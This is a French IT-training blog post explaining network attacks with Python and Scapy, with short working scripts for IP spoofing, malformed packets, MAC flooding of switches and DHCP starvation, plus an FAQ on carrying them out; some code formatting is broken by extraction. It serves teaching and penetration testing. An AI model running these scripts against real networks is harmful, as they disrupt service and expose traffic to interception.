Blog Alphorm Logo de blog informatique spécialisé en technologie et solutions IT
  • Développement
  • 3D et Animation
  • Cybersécurité
  • Infrastructure
  • Virtualisation
  • Réseaux
  • Bureautique
  • BDD
En cours de lecture : Exploration des attaques réseaux avec Python
Agrandisseur de policeAa
Blog AlphormBlog Alphorm
  • Développement
  • 3D et Animation
  • Cybersécurité
  • Infrastructure
  • Virtualisation
  • Réseaux
  • Bureautique
  • BDD
Search
  • Développement
  • 3D et Animation
  • Cybersécurité
  • Infrastructure
  • Virtualisation
  • Réseaux
  • Bureautique
  • BDD
Suivez-nous
© Alphorm 2024 - Tous droits réservés
Développement

Exploration des attaques réseaux avec Python

L'Équipe Alphorm Par L'Équipe Alphorm 15 janvier 2025
Partager
Partager

Les attaques sur les réseaux informatiques sont de plus en plus sophistiquées et difficiles à détecter.

Cette complexité croissante entraîne des difficultés pour les administrateurs réseau à protéger efficacement leurs systèmes.

Dans cet article, nous explorerons comment Python et Scapy peuvent être utilisés pour simuler et comprendre ces attaques afin de renforcer la sécurité réseau.

Table de matière
Spoofing IP avec Python et ScapyCréation de Paquets Réseau en PythonMAC Flooding : Techniques et SécuritéAttaque DHCP Starvation et DéfenseFAQConclusion

Formation Python pour les Pentesteurs 1/2

Initiez-vous aux fondamentaux de Python pour devenir pentesteur.

Découvrir cette formation

Dans cette partie, nous allons explorer les attaques sur les réseaux informatiques en utilisant Python. Il est important de noter que nous ne couvrirons pas toutes les attaques existantes, mais nous introduirons quelques exemples fondamentaux. Cette première partie vise à vous familiariser avec les concepts de base, en commençant par le spoofing IP. Nous approfondirons les techniques plus avancées dans la deuxième partie de ce chapitre, afin de vous fournir une compréhension complète des méthodes d’attaque et de leur mise en œuvre.

Spoofing IP avec Python et Scapy

Définition : Le spoofing, ou usurpation d’adresse IP, est une technique de hacking qui consiste à envoyer des paquets IP en utilisant une adresse IP source qui n’appartient pas à l’émetteur, c’est-à-dire le hacker. Le but est de masquer l’identité de l’attaquant et les actions effectuées lors d’une attaque sur un serveur ou d’usurper l’identité d’un autre équipement du réseau pour bénéficier d’un service auquel ce dernier a accès.

Diagramme de spoofing IP montrant attaque réseau

Exemple de Spoofing avec Scapy

Créez un répertoire nommé `AttaqueRéseau` et commencez par la manipulation suivante concernant le spoofing. Nous utiliserons la bibliothèque `Scapy` de Python.

Code : `spoofing.py`

				
					
 importsocket
from scapy.all import *
macsrc = "aa:aa:aa:aa:aa:aa"
macdst = "00:50:56:f2:f4:6d"
packet = Ether(src=macsrc,dst=macdst)/IP(dst='192.168.18.2',src='192.168.18.11')/TCP(dport=80,flags='S')
sendp(packet)

				
			

Explication :

Info : Ce script crée et envoie un paquet TCP avec une adresse IP source falsifiée. La bibliothèque `Scapy` est utilisée pour créer un paquet Ethernet avec une adresse MAC source spécifiée et une adresse MAC de destination. L’adresse IP source est usurpée pour masquer l’identité de l’attaquant. Ce paquet TCP est destiné au port 80 (HTTP) avec le drapeau SYN, typiquement utilisé pour initier une connexion TCP. Le paquet est ensuite envoyé sur le réseau. Cette technique permet de masquer l’origine réelle des paquets, rendant plus difficile l’identification de l’attaquant.

Création de Paquets Réseau en Python

Nous pouvons aussi créer des paquets mal formés avec Scapy pour tester la sécurité des équipements réseau.

Code : `autre.py`

				
					
 from scapy.all import *
send(IP(dst="198.221.192.158",ihl=2,version=5)/ICMP())

				
			

Explication :

Info : Ce script envoie un paquet IP contenant des en-têtes non conformes aux spécifications RFC. En spécifiant une longueur d’en-tête IP (IHL) de 2 et une version de 5 (la norme actuelle étant 4 pour IPv4 et 6 pour IPv6), ce paquet est mal formé. Le paquet contient également un message ICMP (Internet Control Message Protocol). Envoyer de tels paquets permet de tester la robustesse des équipements réseau face à des entrées non valides ou mal formées, ce qui est crucial pour identifier les vulnérabilités potentielles.

MAC Flooding : Techniques et Sécurité

Le MAC flooding est une technique utilisée pour compromettre les commutateurs réseau en les inondant avec des adresses MAC aléatoires jusqu’à ce qu’ils passent en mode « fail open » , où ils se comportent comme un hub et diffusent les paquets à tous les ordinateurs du réseau.

Schéma d'une attaque MAC Flooding sur réseau

Code : `MACFlooding.py`

				
					
 from scapy.all import *
importsys
interface = 'eth0'
pkt = Ether(src=RandMAC(),dst=RandMAC())/IP(src=RandIP(),dst=RandIP())/ICMP()
try:
while True:
sendp(pkt,iface=interface)
exceptKeyboardInterrupt:
print("Exiting")
sys.exit(0)

				
			

Explication :

Ce script crée et envoie continuellement des paquets Ethernet avec des adresses MAC et IP aléatoires. Utilisant `Scapy` , il génère des adresses MAC et IP aléatoires pour chaque paquet et les envoie via l’interface réseau spécifiée (`eth0`). La boucle `while` permet l’envoi continu des paquets, saturant ainsi la table d’adresses MAC du commutateur réseau. Une fois saturée, le commutateur bascule en mode fail open, se comportant comme un hub, ce qui peut entraîner une diffusion des paquets à toutes les machines du réseau, rendant le réseau vulnérable aux interceptions et aux attaques de type man-in-the-middle.

Attaque DHCP Starvation et Défense

Définition : Le DHCP starvation est une attaque où un attaquant envoie des requêtes DHCP avec des adresses MAC aléatoires pour épuiser le pool d’adresses IP du serveur DHCP, empêchant ainsi de nouveaux clients d’obtenir une adresse IP.

Code : `DHCPSTR.py`

				
					
 from scapy.all import *
dhcp_discover = Ether(src=RandMAC(),dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=RandString(12, "0123456789abcdef"))/DHCP(options=[("message-type", "discover"), "end"])
sendp(dhcp_discover,loop=1)

				
			

Explication :

Info : Ce script crée et envoie continuellement des requêtes DHCP Discover avec des adresses MAC aléatoires. En utilisant `Scapy` , le paquet Ethernet est construit avec une adresse MAC aléatoire et une adresse de destination en broadcast. Le paquet IP est configuré avec une adresse source de 0.0.0.0 et une adresse de destination en broadcast (255.255.255.255). Les en-têtes UDP sont configurés pour les ports spécifiques au DHCP (source 68, destination 67). Le message BOOTP, contenant une adresse MAC aléatoire, est encapsulé avec des options DHCP indiquant un message de type Discover. Envoyer ces paquets en boucle épuise rapidement le pool d’adresses IP du serveur DHCP, empêchant de nouveaux clients d’obtenir des adresses IP valides.

Nous avons examiné plusieurs techniques d’attaques sur les réseaux informatiques en utilisant Python et Scapy. Ces exemples démontrent comment manipuler les paquets réseau pour diverses fins, telles que masquer l’identité, tester la robustesse des équipements réseau, saturer les tables d’adresses MAC des commutateurs, et épuiser les pools d’adresses DHCP. Ces techniques offrent une vue d’ensemble des capacités d’attaque, et servent de base pour comprendre les méthodes plus complexes et développer des stratégies de défense appropriées.

Formez-vous gratuitement avec Alphorm !

Maîtrisez les compétences clés en IT grâce à nos formations gratuites et accélérez votre carrière dès aujourd'hui.

Démarrer gratuitement
illustration processus de paiement en ligne avec étapes claires et convivialité

FAQ

Comment fonctionne le spoofing IP avec Python ?
Le spoofing IP est une technique où l’attaquant envoie des paquets IP en utilisant une adresse IP source falsifiée pour masquer son identité. En Python, cela peut être réalisé avec Scapy, une bibliothèque qui permet de manipuler les paquets réseau. Par exemple, en spécifiant une adresse MAC source et destination, et en créant un paquet avec une adresse IP source falsifiée, vous pouvez envoyer des paquets TCP cachant l’identité de l’émetteur. Cela complique l’identification de l’attaquant et permet d’usurper l’identité d’autres équipements réseau.
Qu'est-ce que le MAC flooding et comment l'exécuter ?
Le MAC flooding est une attaque qui sature la table d’adresses MAC d’un commutateur réseau en lui envoyant un grand nombre de paquets avec des adresses MAC aléatoires. Une fois saturé, le commutateur bascule en mode fail open, se comportant comme un hub et diffusant les paquets à tous les appareils du réseau. Avec Python et Scapy, vous pouvez continuer d’envoyer des paquets Ethernet avec des adresses MAC aléatoires pour inonder le commutateur, rendant le réseau vulnérable à des attaques comme l’interception de données.
Comment créer des paquets mal formés pour tester la sécurité réseau ?
Créer des paquets mal formés signifie générer des paquets qui ne respectent pas les spécifications standard, afin de tester la robustesse des équipements réseau. Avec Scapy en Python, vous pouvez manipuler différents champs des en-têtes de paquets. Par exemple, en modifiant la longueur d’en-tête IP ou la version du paquet, vous pouvez créer des paquets non conformes qui aident à identifier les vulnérabilités potentielles des équipements face à des entrées incorrectes ou malveillantes.
Qu'est-ce qu'une attaque DHCP Starvation et comment la réaliser ?
L’attaque DHCP Starvation vise à épuiser le pool d’adresses IP d’un serveur DHCP en envoyant un grand nombre de requêtes DHCP avec des adresses MAC aléatoires. Cela empêche les nouveaux appareils d’obtenir une adresse IP valide. En utilisant Scapy en Python, vous pouvez créer et envoyer des paquets DHCP Discover en boucle avec des adresses MAC aléatoires, saturant ainsi le serveur DHCP et bloquant l’accès réseau aux nouveaux clients.
Pourquoi utiliser Python pour les attaques de réseau ?
Python est un langage puissant et flexible qui permet une manipulation facile des paquets réseau grâce à des bibliothèques comme Scapy. Il est utilisé pour simuler des attaques réseau afin d’identifier et de corriger les vulnérabilités. En testant des scénarios comme le spoofing IP ou le MAC flooding, les administrateurs réseau peuvent mieux comprendre les failles potentielles et renforcer la sécurité globale de leurs systèmes. Python offre une approche accessible pour l’automatisation et l’expérimentation des techniques de sécurité informatique.

Conclusion

En maîtrisant ces techniques d’attaques réseaux, vous pouvez mieux comprendre et protéger vos systèmes contre les menaces potentielles. Comment envisagez-vous d’approfondir vos connaissances en sécurité informatique pour anticiper ces attaques ?

ÉTIQUETÉ : Python
Facebook
Twitter
LinkedIn
Email
WhatsApp
Par L'Équipe Alphorm
Démocratiser la Connaissance Informatique pour Tous !
Suivre :
L'Équipe Alphorm, c'est la démocratisation de la connaissance informatique. Passionnés et dévoués, nous sommes là pour vous guider vers le succès en rendant la technologie accessible à tous. Rejoignez notre aventure d'apprentissage et de partage. Avec nous, le savoir IT devient une ressource inspirante et ouverte à tous dans un monde numérique en constante évolution.

Derniers Articles

  • Techniques pour gérer les fichiers texte en C#
  • Créer et lire un fichier CSV avec C#
  • JSON : Comprendre et Utiliser Efficacement
  • Créer une Base SQLite dans C#
  • Lecture des données SQLite simplifiée
Laisser un commentaire Laisser un commentaire

Laisser un commentaire Annuler la réponse

Vous devez vous connecter pour publier un commentaire.

Blog Alphorm
  • Développement
  • 3D et Animation
  • Cybersécurité
  • Infrastructure
  • Virtualisation
  • Réseaux
  • Bureautique
  • BDD
En cours de lecture : Exploration des attaques réseaux avec Python

© Alphorm - Tous droits réservés